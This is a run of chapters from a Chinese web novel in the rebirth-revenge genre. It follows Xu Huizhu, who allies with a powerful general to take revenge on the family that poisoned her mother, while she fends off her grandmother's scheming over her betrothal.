“父亲对二叔已尽兄长情谊,人生来该为自己的命运负责,二叔人到中年,还没脸没皮当巨婴吗?”
“尽人事听天命,父亲不必想太多。”
“父亲该将目光放在朝堂,好生思量如何应付政敌给您挖的坑......”
话虽难听,不知为何,听着听着,徐从德竟觉得有几分道理。
这才刚刚开端,就被徐慧珠夺了主动权。
老狐狸还斗不过小女子?
“慧珠?”
“你的亲事......”
第011章:安美人正得皇宠
姜夜沉的耳朵泛红发烫,他脸皮薄,哪好意思承认,大福禀报说徐慧珠来了大平寺,他就马不停蹄赶来。
为了什么?
为了看她一眼吧。
大福多嘴,一通劝说:“将军想见大小姐?”
“想见就见呗。”
“大小姐思念亡母,心中悲伤,您是该趁此机会安慰大小姐。您表现的体贴入微,大小姐日渐感动,将您放在心尖尖上......”
姜夜沉嘴上否认,“本将军是去大平寺后山看看我当年栽种的桂花树长势如何,顺道印证心里的怀疑。”
“徐慧珠一介闺阁女子,会武功不说,还拥有**的勇气、胆量,这样有趣的女子放置在将军府后宅才尽其用,可能会收获意想不到的惊喜。”
“大小姐,你没错。”姜夜沉此刻还没意识到,他和徐慧珠才第二回见面,他都忍不住先将人护上了。
“对于该死之人,不必心慈手软。”
“苗耀祖若没生出害你的心思,他就不会死。说到底,苗耀祖的死,真凶是他自己,帮凶是苗氏。”
“大小姐,你何其无辜。”
“哦?”徐慧珠的眼神带着探寻之色,“将军兼任锦衣卫统领,平日里也这般随心所欲审案?”
“既然将军信我,那我必须再坦诚些。”
徐慧珠忽然生出逗弄姜夜沉的心思,想要看一看姜夜沉的胆量有多大,她接下来说的话,能不能吓到他。
她要让他早一步知晓她的真实面目,她不是那种世家大族精心教导出来的贵女,一颦一笑尽显规矩。
她的性情,她的行事风格,姜夜沉该十分熟悉,像是在战场上拼命厮杀的将士,为了活命,为了胜利,她什么事都做得出来。
“我先弄死苗耀祖,再顺势将计就计杀了苗氏。”
“徐从武会死在悦城。”
“这就是真相。”
“将军,如你所见,我的身上已背负多条人命,往后余生,我可能会杀更多人。”
明明经历过刻骨的痛,铭心的恨,她却三言两语说完,脸上洋溢着稀薄淡漠的笑。
莫名的让姜夜沉心疼。
“我......我知道。”姜夜沉说道。
徐慧珠心思深沉、手段毒辣,并不意味着她就是十恶不赦的恶人。
难道任由旁人欺辱至死吗?
徐慧珠的话,说到姜夜沉的心尖尖上:旁人害我一分,我必回敬十分,做人就得“循规守矩、礼尚往来”。
这就是他信仰的道理。
高山流水遇知音。
没想到,徐慧珠和他的志趣相投。
她主动奉上把柄,正是她
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的聪慧之处。
也好,唯有成为同路人,他接下来要做的事情,她便能替他打好掩护,搅浑这京城的风云。
“大小姐......不......我想叫你慧珠,可好?”
姜夜沉叫她“慧珠”?
纵使徐慧珠对姜夜沉还未生出男女情愫,也被他这一声“慧珠”,红了脸庞。
不容徐慧珠细想,姜夜沉说起正事。
“苗耀祖的伤口,我亲手做过处理,任是再有本事的仵作也瞧不出端倪。”
“苗大人原本不敢惹上徐尚书,可因着苗耀祖的死,苗大人疯的严重,他的底气,还在于安美人正得皇宠。”
安美人,苗安欣,是苗大人的幺女。
徐慧珠挑眉,“将军该不是劝我放过苗家?”
“自然不是,我的意思,你要对付苗大人,我有更妙的法子,也愿意出一分力。”姜夜沉无比真诚。
“苗大人出重金雇佣云霄阁,于半路截杀徐从武。”
“徐大人出重金聘用威武镖局,暗中保护徐从武,确保徐从武平安到达悦城。”
“凑巧的是,云霄阁和威武镖局背后的东家都是我。”
“所以,这左手倒右手就能大赚一笔的生意,我都接了。”
“慧珠,我来,是同你说明......”
第012章:将军今日的话,格外密
苗大人和徐从德万万想不到,两家结下不死不休的仇怨,你来我往的人命较量,最后渔翁得利的竟是毫不相干的姜夜沉。
这,谁能料想的到?
“如果苗大人雇**人的事情意外曝光于人前,徐大人作为苦主的兄长,参苗大人一本藐视国法律令,于情于理,旁人挑不出大错。”
“恰好这时,苗大人的后院失火,曝出苗夫人连生五个女儿后,惧怕苗大人以无子为由休妻,偷偷和管家苟合,生下苗耀祖,混淆苗氏血脉......”
“苗大人上了年纪,不知,连番刺激下,会不会气得一命呜呼?”
“当然,安美人也会受到牵连,沦为后宫里的笑话,惹皇上厌弃,甚至被嫔妃们欺辱......至死。”
“听说,安美人私下攀附上厉贵妃和大皇子......”
大福站在不远处,嘴唇抽抽,将军今日的话,格外密。
姜夜沉大方曝光自己的势力,云霄阁和威武镖局背后的主子是姜夜沉,京城之中,知晓内情者极少。
他这是把徐慧珠当作自己人?
还,上赶着帮徐慧珠出损招妙计。
徐慧珠的心里,已是惊涛骇浪。
臭名昭著又神秘诡异的江湖暗杀组织云霄阁,做的是**生意,只认银子,不认身份,**的人统称为“货物”。
除过皇族,就没有云霄阁不敢或不能杀的“货物”。
大名鼎鼎的威武镖局,行走于黑白两道,上至贵族,下到商贾,护人护物,做的是上台面的正经生意,口碑良好。
“将军的恩德,我谨记于心。”
徐慧珠原本想到法子报复苗家,过程会复杂些,还可能会留下痕迹,沾染麻烦。
因为以她的力量,还是太弱了。
如今姜夜沉愿意帮她,再好不过。
她这个人记仇,也记恩记情。
“你我夫妻同心同体,当相帮相助。”姜夜沉心里讶然,生出一股怪异的熟悉感,似乎他早已认识林慧珠多年,甚至相知一辈子那么长。
这种感觉,令他疑惑不解,又莫名心安。
这种感觉,令他想要靠近徐慧珠,亲近她。
“夫妻?”
世间女子没有哪个甘愿做妾室,徐慧珠也不例外。
“将军私下同我论夫妻情分,是将军的情趣表达,待下了床榻,我只是将军的贵妾罢了。”
做妾,徐慧珠本不愿。
可她没有选择,姜夜沉亦不会为她拼力争取。
“慧珠如此健忘?”姜夜沉目光深沉,似是微讶于徐慧珠耍小性子,“妾行妻权,我亦应允,慧珠这贵妾做的,难道不比主母威风逍遥?”
“将军说的是。
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”徐慧珠应的干脆。
徐慧珠没见过那位苗大人,也没见过皇宠正浓的安美人,但苗氏和苗耀祖敢联手害她,谁又无辜?
**前,先诛心。
这场杀戮游戏,才更有趣。
两人的想法,不谋而合。
当年,害死娘亲的**,就是苗大人从塞外重金寻来,亲手交给苗氏。
无色无味的**,一寸一寸侵蚀人的五脏六腑,不管看多少大夫,得出的结论都一样:小产伤了身子,又郁结于心,只能仔细将养,难有良药。
苗大人打的主意,徐尚书的嫡妻病逝,娶苗家女儿为继夫人。
如此这般,整个尚书府不就间接变成苗家的了。
反正,苗大人的女儿不仅多,还一个个花容月貌。
女儿为棋子,做登天的梯子,苗大人何愁不能平步青云。
徐慧珠重活两世,就是为完美复仇这件人生大事。
害她的那些人,必被她先折磨身体,再摧毁心智,最后挫骨扬灰。
这一世,她归来的第一件事,就是主动登门,向姜夜沉求嫁。然后,结成同盟,并肩作战。
因为,他们要复仇的目标,有很多重合。
也因为,她清楚姜夜沉的实力,知晓他的大计。
她愿做他手里的一把利刃,人挡**,佛挡杀佛......
第013章:母威胁子,子为何不能威胁母?
徐慧珠只在大平寺住了两日,李氏派人送来口信,祖母从老宅归府。
嫡亲祖母宋氏,生育两子,长子李从德,贵为一品大员。幺儿李从武,刚刚犯下激**妻之罪。
宋氏并无诰命加身,旁人尊称其“老夫人”,这也是宋氏的心结。
她盼着儿子当大官,好光宗耀祖,可最出息的长子不愿为她请封诰命。
幺儿倒是孝顺,嘴巴跟抹了蜜似的哄宋氏开心,可幺儿只有一张嘴有用,要能耐没本事。
“大小姐,奴婢已查到,二爷一出事,四小姐就悄悄派人请回老夫人。”
“老夫人一向偏宠二爷,得知二爷要受五年牢狱,还发配到苦寒之地,定会闹得厉害。”
“要是老夫人知道您和将军的亲事,说不得老夫人会帮四小姐抢走......”
“如果老夫人以孝压老爷的话,大小姐,您就腹背受敌了啊。”
按照年纪排序,苗氏所生育的嫡长女徐云晗在府里尊称一句“四小姐”。
金夏的担忧,是实质性存在的可能。
徐从武能长成阴沟里的老鼠,老夫人宋氏功不可没。
在老夫人宋氏的眼里,贵为一品大员的长子徐从德,生来就是克她的。而幼子徐从武千般孝顺万般优秀,怎么看都极为顺眼。
“没想到云晗妹妹和苗氏一样,也是一只爱咬人的狗,这么着急就反扑。”
“金夏,你私下找苏姨娘,就说我要她......”
徐慧珠并不着急回府,她先去春风酒楼排队买了蝴蝶酥,又去醉仙戏楼预约了戏票。
当然,用的都是姜夜沉赠的玉章。
不用,就是故作矫情。
姜夜沉说了一连串名字,都是在京城排得上名号的铺面,甚至在别的城池开有分铺。
徐慧珠得承认,她很满意姜夜沉的安排,也很享受仗姜夜沉之势的感觉。
能走后门,谁还苦巴巴地排队。
待徐慧珠回到府中,老夫人宋氏正在冲徐从德发火。
中气十足,一看就是生活过得太滋润太顺遂了。
“徐从德,从武出了这么大的事,你竟敢瞒着我,若不是我身边的人凑巧回京城办事,你是不是打算一直瞒下去?”
“你....你这个丧良心的孽子啊。”
徐从德?
从武?
可见老夫人宋氏的亲疏有别。
“从武是你一母同胞的亲弟弟,你竟狠心到逼从武**。”
“好好好,徐从德,你......你真是老身的好儿子啊,干脆明日就将老身也送到悦城,一同逼死你的老母亲,一了百了。”
“也让天下人瞧瞧,堂堂户部尚书大人
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干的孝顺事,天打雷劈不劈你,劈谁?哼。”
宋氏年纪挺大,脾气更大,张口闭口皆恶毒,她抓起茶盏扔过去,差一点就砸到徐从德。
“母亲?”
徐从德的脸色,一会儿青一会儿白,想他贵为国之重臣,被母亲指着鼻子破口大骂,也是京城独一份的新鲜事儿。
“国有国法,家有家规,从武当众掐死正妻苗氏,这是事实。”
“儿子就是拼着官位不要,也不能枉顾律法,要求府官大人给从武判决无罪啊。”
“儿子当的是朝官,不是掌控苍生万物的玉皇大帝,母亲与其在这里大发雷霆,责怪儿子无能无用,不如......”
可惜,徐从德的解释,宋氏一个字都听不进去。
错,肯定是长子的错。
她的幼子,孝顺听话,胆小乖巧,如何会犯错?
好在,徐从德不会太惯着宋氏。
母威胁子,子为何不能威胁母?
“母亲若实在心疼从武,儿子赶明儿就向皇上告假一月,亲自护送母亲去悦城,在悦城为母亲置办房产和奴仆,保证母亲在悦城的生活质量不会下降。”
“母亲想陪从武一年、两年......五年,如母亲所愿。”
啪。
徐从德的脸上,挨下结实的一巴掌......
第014章:这不合规矩
“孙女拜见祖母。”
“祖母安好。”
徐慧珠仿佛没听见正堂里的吵闹,也没看破僵硬的气氛。
她规规矩矩行礼,言语恭敬但透着一抹疏离,“孙女今日特意去春风酒楼排了一个时辰的队,买到祖母喜欢的蝴蝶酥。”
“还有祖母最爱看醉仙戏楼的戏,孙女也为祖母预约到戏票,是首演场次呢。”
站在李氏身后的**月,先是冲她眨巴眼睛,又口型骂一句“老巫婆”。
这会儿要是给**月一个绣着宋氏名字的布偶,她就能暗戳戳扎小人儿了。
对于徐慧珠的刻意讨好,宋氏满眼嫌弃。
大概这就是厌屋及乌了吧。
“丧心肝的混账东西,还不跪下。”
“你二叔在受苦,老身哪吃得下点心,哪有心情去赏戏。”
“徐从德,老话说,上梁不正下梁歪,你看看,你看看你教导出的好闺女,跟你一个德行。”
“苍天啊,菩萨啊,老身是触犯天条不成?命苦到生出徐从德这个丧良心的不孝子,我徐家怎会出徐慧珠这个丧心肝的恶毒孙女,呜呜呜,没天理啊。”
宋氏的嘴,骂骂咧咧一刻不闲。
宋氏骂完犹不解气,越骂越气,徐从德虽是她的长子,但也是一品大员,总不好毒打一顿。
父之过,女替之受之。
宋氏举起拐杖打翻糕点,又举起,这回对准的是徐慧珠的肩膀。
“母......母亲?”李氏惊呼,噌地一下站起身。
虽说不至于打在女身疼在母心,但眼睁睁看着徐慧珠挨打,李氏还是不忍心。
徐从德显然也看出宋氏的意图,他的心沉到谷底,圣贤书有曰:天下无不是的父母。
当母亲不慈不爱,一颗心偏得无边无际,身为人子就该一边说服自己“天下无不是的父母”,一边被至亲伤到伤痕累累,痛到窒息吗?
“母亲?”徐从德的声音变了调,“母亲要当着儿子的面打死儿子的长女、您的长孙女吗?”
“就因为从武触犯律法,母亲明知是非曲直,却还是将气撒向无辜之人?”
徐从德或许气急了,说出的话透着寒意,“好,儿子绝不拦着,母亲若执意打死您的长孙女,我这就下令撤回镖师,但愿从武福泽深厚,能活着走到悦城。”
一边是为老不尊的老夫人,一边是气到失态的老爷,李氏身为“外人”,一时不知如何相劝。
当然,李氏也没打算劝,只要老夫人不打徐慧珠,她还是或坐着或者站着瞧戏吧。
徐从武是老夫人的软肋,她嚎叫道:“畜生啊,你敢拿亲弟的性命威胁老身?”
姜夜沉掐着点登门拜访,打断老夫人继续发
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疯发威。
管家眼活,欲将人引到偏堂,可姜夜沉却说,“本将军奉皇命有要事和徐尚书相商,片刻耽误不得。”
管家能怎么说,再说下去,他一个小小的尚书府管家,岂敢忤逆圣意。
姜夜沉刚入院门,正好看见老夫人举着拐杖,而徐慧珠跪在地上,糕点散落,碎的不成样子。
“本将军来得不是时候,徐尚书这是在......执行家法?”
“还是,私设公堂?审理凶案大案?”
徐从德赶忙收敛神色,恭敬行礼,“将军,您......您怎么来了?”
“怎么?徐尚书的府邸,本将军来不得?”姜夜沉语气淡漠。
“不不不,将军说笑了,将军登门,下官倍感荣幸。”
官场从不论年纪、辈分,别看姜夜沉年轻,他已拥有多重身份,战神将军、锦衣卫统领,还是北疆王。
徐从德的礼,姜夜沉受得起。
大福接收到自家主子的眼神,笑眯眯上前,言语恭敬,“夺”下拐杖,“老夫人,您受累。”
姜夜沉仿佛才发现跪着的女子是徐慧珠,面上露出恰到好处的惊讶,“慧珠?”
慧珠?
众人脸色皆变。
哪有男子在成婚前叫未婚妻闺名?
这不合规矩。
他们私相授受了......
第015章:将军说他不能人道
准确的说,徐慧珠没资格标榜自己是姜夜沉的未婚妻,贵妾也是妾,上不得台面的玩意儿罢了。
原本微垂着头,神色忧伤,眼圈红肿的四小姐徐云晗在姜夜沉出现时,一颗心不受控地砰砰砰跳跃,却在听到姜夜沉叫那一声“慧珠”时,心似乎停滞跳动,坠入深潭。
慧珠?
她敬仰的宛若神明的男子,就算食人间烟火,那也该品尝她这缕烟火。
一定是徐慧珠勾引姜夜沉。
一定是。
京城里,谣言肆意横行,都在说姜夜沉不能人道,徐云晗也听说了,她只觉得无比心疼,恨不能杀死每一个说姜夜沉坏话的人。
她好想不管不顾跑到姜夜沉的面前,告诉他:她对他的仰慕,纯粹高尚。她对他的心悦,干净美好。
她与那些满眼权势、满心荣华富贵的肤浅俗女大不一样。
偏偏,她不得机会。
徐云晗再不甘又不能如何?此刻在正堂里,她连说句话的资格都没有。
苗耀祖之所以色胆包天敢在尚书府行玷污徐慧珠的恶事,这等妙计,由徐云晗奉上,苗氏蛊惑,苗耀祖执行。
刺死苗耀祖的人,只能是徐慧珠。可苗耀祖为何会出现苗氏的床榻,为何插在苗耀祖脖子的金簪属于苗氏?
有人救徐慧珠,还帮徐慧珠除掉苗耀祖,嫁祸给苗氏。
谁有这样的能耐?
李氏吗?
徐云晗害怕了好几日,府里如常,看似......风平浪静。
苗耀祖**,那个渣人竟敢将脏手伸进她的衣裙里,**活该。
苗氏也**,徐晓云晗既伤心又害怕,她何尝不知,在高墙大院里,若没有母亲相护的孩子,过得何其艰难。
徐云晗很快说服自己,他们**也好,这样没人知道主意是她出的......
徐云晗飞快看了一眼老夫人,赶忙垂下头,掩饰眼里的愤恨与悸动。
不着急,老夫人这把刀,她会好好利用的。
姜夜沉扶起徐慧珠,感叹道,“可怜见的。”
“慧珠,本将军没想到你在尚书府过得这般......凄凄惨惨。”
话锋转的极快,快到徐从德接不住姜夜沉的质问。
“慧珠不嫌弃本将军乃残疾之身,这份情意难能可贵,望徐尚书看在本将军的脸面上,大婚之前,善待慧珠,
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可好?”
商量的语气,却是警告的深意。
徐从德:......
“太后娘娘喜欢春风酒楼的蝴蝶酥,本将军听慧珠提说老夫人也喜欢。本将军便亲自排队买了两份......”
“怎么,不合老夫人的口味?”
“还是,老夫人看不上本将军的孝心?”
先不说姜夜沉亲自排队采买糕点的这份心意,连太后娘娘都喜欢的蝴蝶酥,到了老夫人这里,却被扔在地上,踩成碎渣。
老夫人此举,是没把姜夜沉当一回事,还是连太后娘娘都不放在眼里?还是说老夫人比太后娘娘更尊贵?更威风?更了不得?
一时间,京城流言蜚语四起。
一是,姜夜沉当着徐尚书及家人的面承认自己乃残疾之身。
姜夜沉手脚健全,能走能打,看起来再健康不过。
他未明说身患何等隐疾,可男人不能人道这事,本就羞于启齿,总不能到处自黑自曝。
二是,听闻徐慧珠在府里受了委屈,姜夜沉特意登门为其撑腰。
尚未过门的妾,还真当自己是个人物了。
消息传到宫里......
第016章:尚书大人卖女求荣
徐从德的政敌不少,有人憋着坏要拉他下台,好替之。
有人恨不得他倒霉,好瞧戏。
谁都知道,问户部支银子,花的是国库银子,却跟要徐从德的命一样。
其中,就有嘴损的大臣,逮着机会,也只敢背后嘲讽几句,过过嘴瘾。
总结起来:徐尚书卖女求荣。
未出事之前,单身的姜夜沉堪称世间女子的完美良人,徐尚书卖嫡次女**月,上赶着做妾。
如今,姜夜沉不能人道,徐尚书就换个不受宠的女儿继续卖,还是当妾。
日后,谁提说尚书府的贵女,都会刺一句:不堪为嫡妻。
流言蜚语越传越离谱,一跃成为京城茶余饭后最流行的谈资。
不管外人怎么说,尚书府的主子一个个端得住、忍得住。
李氏嫁给徐从德后,夫唱妇随脸皮厚的本事,用徐从德的话说,他掌管国库,就是替皇帝守好钱袋子,每笔银子该花在何处,该怎么花,都得谨慎了再谨慎,精打细算再精打细算。
活不好干,还隔三差五得罪人。
因此,修炼一张厚脸皮,是徐从德每日的必修任务。
一家之主的脸皮之厚,厚比城墙。那家人的脸皮,至少厚度得赶上府墙。
“大小姐,这两日新添流言,还是从春风酒楼的小二口中传播。据小二说,将军和乐王爷吃酒吃醉了,将军亲口承认他倾慕的是大小姐,虽皇命难违,但他必以嫡妻之礼迎娶大小姐过门。”
徐慧珠可不信姜夜沉醉酒吐真言,他故意演这一出,为她造势,也将她推入漩涡中心。
只有搅浑一池水,方能钓上大鱼。
姜夜沉要做什么,徐慧珠暂且不得而知。
她一点儿也不着急,她对姜夜沉的信任、愧疚积攒了两世,该了结了。
“另外,夫人拒了很多宴请,只说她要忙着为大小姐准备嫁妆,大小姐忙着赶绣嫁衣......”
徐慧珠的女红实在拿不出手,说她在赶绣嫁衣,她听着禁不住脸颊发红。
主仆正说着话,云嬷嬷来了。
有什么样的主子,就有什么样的奴仆。
云嬷嬷行礼敷衍,神色傲慢,“大小姐安好,老奴奉老夫人之命,为大小姐集训礼仪规矩。”
老夫人......不......老巫婆是觉得她没亲娘护着,好欺负一些,通过欺辱她,逼迫徐从德想法子把徐从武从悦城捞回来,继续当老夫人的孝顺儿子,继续在尚书府作威作福。
柿子总挑软的捏。
有李氏护
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着,老夫人再不待见**月,到底顾忌一两分。再说,李氏的手段,老夫人领教过数回,没讨到多少好处,亏也吃了不少。
所以,年幼丧母,父亲不怎么管,继母李氏又不便管,徐慧珠就是老夫人眼里的软柿子,遇事先捏她。
捏残捏伤捏死,都是她的命。
“好呀。”
“还是祖母疼惜我。”
徐慧珠装作看不懂云嬷嬷眼里的轻视,不就是演戏,谁不会?
看到徐慧珠如此懂事,云嬷嬷眼里的轻视之意更浓。
老夫人的心,一向偏得没边没际,云嬷嬷就是老夫人身边犬吠声最响的狗,嗷嗷叫唤。
“大小姐心里知晓就好,老夫人也是为大小姐好。”
“虽说大小姐是嫁到将军府为妾,但贵妾到底得一两分颜面。”
“老夫人说了,这规矩得学好,不然往后在将军府闹出笑话,遭人嗤笑,尚书府也跟着丢脸。”
妾妾妾......
旁人世人嘲讽就罢了,老夫人是她的嫡亲祖母,说出的话,字字带毒,句句透恶。
“院子宽敞,老奴就在院子里教学,大小姐不会介意吧。”
云嬷嬷打的是什么主意,徐慧珠岂能不知。
正合她意......
第017章:公子淡泊名利,她们淡漠姐妹亲
徐慧珠笑的和煦乖巧,“云嬷嬷便是我的礼仪先生,自是听从先生的安排。”
云嬷嬷心想,就大小姐这心性手段,怕是不出三两月就折在将军府后宅,啧啧啧,又是一个没用的废物。
徐慧珠先一步走到院子站着,外面时有奴仆经过,这个停下望一眼,那个驻足听一耳朵,都好奇云嬷嬷拿着鸡毛当令箭要怎样教导大小姐规矩。
大小姐有得受了。
云嬷嬷脸上的得意和傲慢遮掩不住,她请出戒尺。
“老奴丑话说在前头,如果大小姐懒散,不好生学习规矩,老奴便会用老夫人赐下的这把戒尺惩罚大小姐,还望大小姐原谅老奴僭越。”
此等刁奴口吐恶言恶语,所行之事,已是僭越至极。
贱奴长了一双狗眼看人低的贱眼,生了一颗黑乎乎的仗势欺人心。
云嬷嬷浑然不觉,危险已悄然来临。
煮雨院发生的事情,李氏比徐从德先一步知晓。
老夫人难缠,这些年她领教够了,婆媳没少过招,几乎都是各有损伤的结果。
一个孝字压着,李氏只得说服自己忍着熬着,待熬死老夫人,她头上的黑云就会散去。
“夫人,老夫人纵容恶仆行恶,看似打大小姐的脸面,实则狠狠羞辱老爷和您的脸面啊。”
李氏听完愣了一瞬,又继续翻看手里的账册,细雨一看看穿的伎俩,李氏如何看不懂。
老夫人是个没品没德的老不羞,一颗老鼠屎坏了尚书府这锅汤。
李氏甚是无奈。
“管家禀报给老爷了吧,老爷可有说什么?”
同床共眠快二十年,李氏对徐从德这个枕边人不敢说了解通透,至少五分摸得准他的性情。
细雨的神色不大自然,“管家说老爷说......说大小姐能应付。”
“还说......还说老夫人心中有气,宣泄出来就无事了。”
李氏并不惊讶徐从德的反应,也无好奇心去探寻徐从德缘何对大小姐这般自信。
“既然老爷认为大小姐能应付,我自是该相信老爷的判断,该相信大小姐的能耐。”
“细雨,你去煮雨院看着,有什么事随及时禀告。”
老爷隔岸观火,她和老爷夫妻一体,必是夫唱妇随。
而且,李氏也想看看,徐慧珠的手段到底有多厉害。
“母亲?”
**月一听说老巫婆派了刁奴云嬷嬷去煮雨院折腾徐慧珠,她顾不得细想,立马来主院求李氏出手相救。
从徐慧珠挺身而出替嫁那一刻,愧疚便被滋养,快要撑破**月的心房。
公子淡泊名利,她和徐慧珠打小淡漠姐妹亲情,如今,她生出亲近姐姐的念头,愈发强烈。
徐慧珠,她血脉相连的姐姐,才会舍弃自己,救她一命。
“祖母纵容云嬷嬷羞辱姐姐,还不是觉得姐姐是一颗软柿子,祖母但随心
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意捏圆搓扁。”
“母亲,您明知道,如果没有姐姐在前面顶着,祖母欺辱的人,便是我了。”
不得不说,**月分析到位。
老夫人一肚子坏水,噌噌往外冒。
在她那双浑浊的眼里,唯有幺儿徐从武是她的心是她的肝,爱屋及乌,她也将徐云晗放在心尖尖。
“呵!老夫人是什么样的人,满府谁不知道?”
“能躲则避,能忍则耐,老爷都无可奈何的事情,我就是拼着得罪死老夫人,严惩云嬷嬷,不仅救不了大小姐,还会迎来老夫人更疯狂的报复。”
**月心里着急万分,理智又认为李氏说得在理,“可......可......”
李氏说不出自己心情苦涩,还是该担忧,她和继女徐慧珠之间的平淡关系维持多年,已成默契,亦成习惯。
她也是这般教导**月的。
谁成想,因着一门亲事,让李氏重新认识徐慧珠。
原来,徐慧珠的心里,一直存着姐妹亲情。
至于徐慧珠提出的五成家财为嫁妆,被李氏自动忽略,她万万不信徐慧珠别有用心。
李氏不是不“救”徐慧珠,她是在等,等一个真正的机会。
瞧着**月着急,李氏心里叹息一声,决定多说两句,也是为了提醒**月,盼着她别空有明艳动人的容貌,却心机平平。
“明月,你可知老夫人回府为了什么?”
第018章:秘密
老夫人回府为了什么?
**月回答问题倒是极快,却缺乏深度思考,“祖母疼二叔入骨,一听说二叔犯事紧赶慢赶从老宅归府,自然是逼迫父亲......救二叔。”
“顺道,抢姻缘。”李氏补充道。
抢姻缘?
抢谁的姻缘?
“母亲的意思?”
“徐云晗好不要脸,她敢抢姐姐的婚事......”
**月不愿嫁姜夜沉,她觉得自己没错,她再三问过徐慧珠,姐姐愿替嫁,还保证能将日子过好,那这门亲事就属于姐姐。
徐云晗是什么东西?
凭什么抢?
李氏点头,眼里生出一抹狠厉。
只怕老夫人伙同二房早就惦记上将军府的权势,他们的胃口,还真是大呀。
徐云晗平日里乖顺的如同一只猫,却没想到,猫已养出利爪,挠人吃痛。
**月睁大一双懵懂的眼睛,她的眼睛又大又圆,像两颗紫黑葡萄似的,湿漉漉地看着李氏,看得李氏一阵心软。
唉......
自己娇养长大的女儿,偏偏不像老爷,也没随她。
若不是经历十月怀胎的辛苦,李氏都要怀疑**月是不是她的亲生女儿了。
**月在李氏的面前,犯傻犯蠢是常事,她就是懒惰,不肯动一动她的脑子。
这才是**月的真实一面。
罢了罢了,自己生养的女儿,自己疼着忍着纵着。
自己宠着惯着帮着。
“老夫人就是有坏心,也不敢明着为徐云晗抢你的姻缘,顶多使绊子恶心一二。”
“事后,老夫人会逼迫你的父亲也为徐云晗寻一门高嫁的亲事,最好能和皇家结亲,老夫人才会满意顺心一二。”
“谁成想,你闹着不愿嫁,这等好事突然落在大小姐身上,老夫人就千般不愿万般不甘了。”
“徐云晗就是没向老夫人表明她爱慕将军的心思,只怕老夫人为了二爷,也会使手段逼徐云晗霸占亲事,或爬上将军的床榻。”
“老夫人先派云嬷嬷磨搓大小姐,不过是试探老爷的态度,也试探大小姐会不会为了这门亲事破釜沉舟......”
“大小姐对老夫人而言,还有作用。”
“如果大小姐是个横的犟的,老夫人可能采取怀柔手段,劝说大小姐让出将军府贵妾之位。两姐妹同嫁将军,徐云晗为贵妾,大小姐为贱妾。”
不得不说,婆媳相处近二十年,李氏对老夫人并无半点感情,却在屡次较量中越发了解老夫人的龌龊心思。
在**月幼时,老夫人多次妄想夺**月以拿捏李氏,却被李氏破了手段。
半年前,对外说是老夫人回老宅祭祖,其实是李氏和
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徐慧珠暗里联手做下的局。
李氏在明,徐慧珠为暗。
这是她们二人之间的秘密。
**月喃喃道,“嫁给姜夜沉为妾,怎么能是好姻缘呢?”
李氏这一番分析,**月听了进去,心里更厌恶老夫人。
反之,她对徐慧珠的愧疚,也新添了一两分。若不是徐慧珠替嫁,老夫人针对的就是她。
也就是说,徐慧珠替她受苦。
这种念头一旦生出,就在她的心里扎根发芽,日渐长成参天大树。
**月分得清轻重,也看得清内心。
她知道自己真正想要的是什么,她宁愿用余生承受对徐慧珠的愧疚,也不能嫁给姜夜沉蹉跎了年华。
不就是愧疚这份又长又重的债,她慢慢还就是了。
“不行。”
**月跟浑身扎了玫瑰刺似的,坐着心难安,站着心慌乱。
“母亲,我还是得去煮雨院看看,如果云嬷嬷狗仗人势,做得太过分,回头将军问罪,我便是人证。”
父亲和母亲都不管,都说徐慧珠能应付老夫人的刁难,**月隐隐觉得母亲还有很多事情瞒着自己。
母亲不让她亲近徐慧珠,如今又要求她敬着徐慧珠......不过,如今最重要的是助徐慧珠破局。
**月招来奴婢信儿,吩咐一番......
第019章:恶奴羞辱大小姐
煮雨院。
徐慧珠站在烈日下,头顶女戒背诵女德。
云嬷嬷一身老肉养得娇贵,受不得暴晒之苦,再说她的老脸涂抹脂粉过度,白的渗人。
一两银子一盒的脂粉,她可舍不得花妆。
云嬷嬷倒是会挑选地方,站在桂花树下,不光遮阴,还能闻着浓郁桂花香。
“大小姐,请大声朗读,您这般蚊子嗡嗡叫,老奴如何听得清楚。”
“大小姐,请挺直腰肢,贵女一言一行代表的是家族脸面体面,若品性不端,德行有亏,是家族的拖累,也是罪人。”
“大小姐,请注意表情管理,贵女一颦一笑,须优雅得体,您吊着一张冷脸,给谁瞧?待将来主母入府,头一个惩罚的便是不知分寸的您啊。”
......
云嬷嬷的嘴唇一张一合,跟放鞭炮似的,噼里啪啦,喷射毒液。
老脸配利嘴,不,该说是老脸配臭嘴。
“大小姐,您也别怪老奴尽说实话。”
“这些话,老奴也是代老夫人说的,您若心中不服,去寻老夫人说理。”
又说,“大小姐,您得感恩才是。”
“老夫人一心为您考虑,是再慈祥不过的祖母了。”
云嬷嬷手里的戒尺摔在桂花树上,砰砰作响,震的桂花纷纷落下。
半个时辰到,徐慧珠眼前一黑,身子一软,栽倒在地上。
金夏扯起嗓子就喊,“天呐,大小姐晕倒了。”
“金秋金冬,快扶大小姐去床榻躺着,我...我去请大夫。”
不等云嬷嬷回神,金夏如一股狂风冲出煮雨院,一边跑一边大喊,“快来人啊,快去禀报老爷和夫人,大小姐被云嬷嬷打晕了。”
“云嬷嬷要杀了大小姐啊。”
云嬷嬷急的跺脚,破口大骂,“小贱蹄子,胡咧咧什么,老奴何时打大小姐了?何故要杀大小姐?”
“不,老奴要请老夫人做主,打死你们这些小贱蹄子。”
金夏拽着大夫和正入府的姜夜沉撞上,自然是把握机会,一通告状。
按照规矩,姜夜沉先拜会徐从德,接着是老夫人,最后由李氏作陪去后院见一见徐慧珠。
现下硬闯徐慧珠的闺房,传出去,不利清誉。
偏偏,姜夜沉和徐慧珠都不是重视名声之人。
拥有好名声就能挡住旁人的嫉妒?能阻住旁人的算计?
能断了
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旁人往你身上泼脏水的念头?能歇了旁人想要害你的心思?
如何可能。
既如此,还在意名声做甚?不被名声所累,也借所谓名声为掩护,悄无声息布局反杀。
才是正事。
“慧珠呀,老身的意思,将军府这门亲事,你该让给云晗。”
“云晗今年才十六岁,花骨朵的年纪,容貌远胜过你,就是入将军府为妾,以云晗的姿容和手段,定能牢牢抓住将军的身和心。”
“慧珠呀,只要你听老身的话,回头老身就在老宅那边为你相看一位青年俊才,你一嫁过去就是正头娘子,总比你不得将军宠爱,枯萎在将军府后宅好多了吧。”
“慧珠呀,相信老身”
“老身疼你。”
徐慧珠刚醒来,老夫人就逼上了。
云嬷嬷顶着巴掌印站在老夫人身后,一双老眼尽是怨毒之色。
“大小姐,老夫人也是为了您好,您这副身子太过柔弱,不过学规矩半个时辰,您就晕倒了。”
“您要是嫁入将军府,没有一副健康身体,如何侍奉将军?”
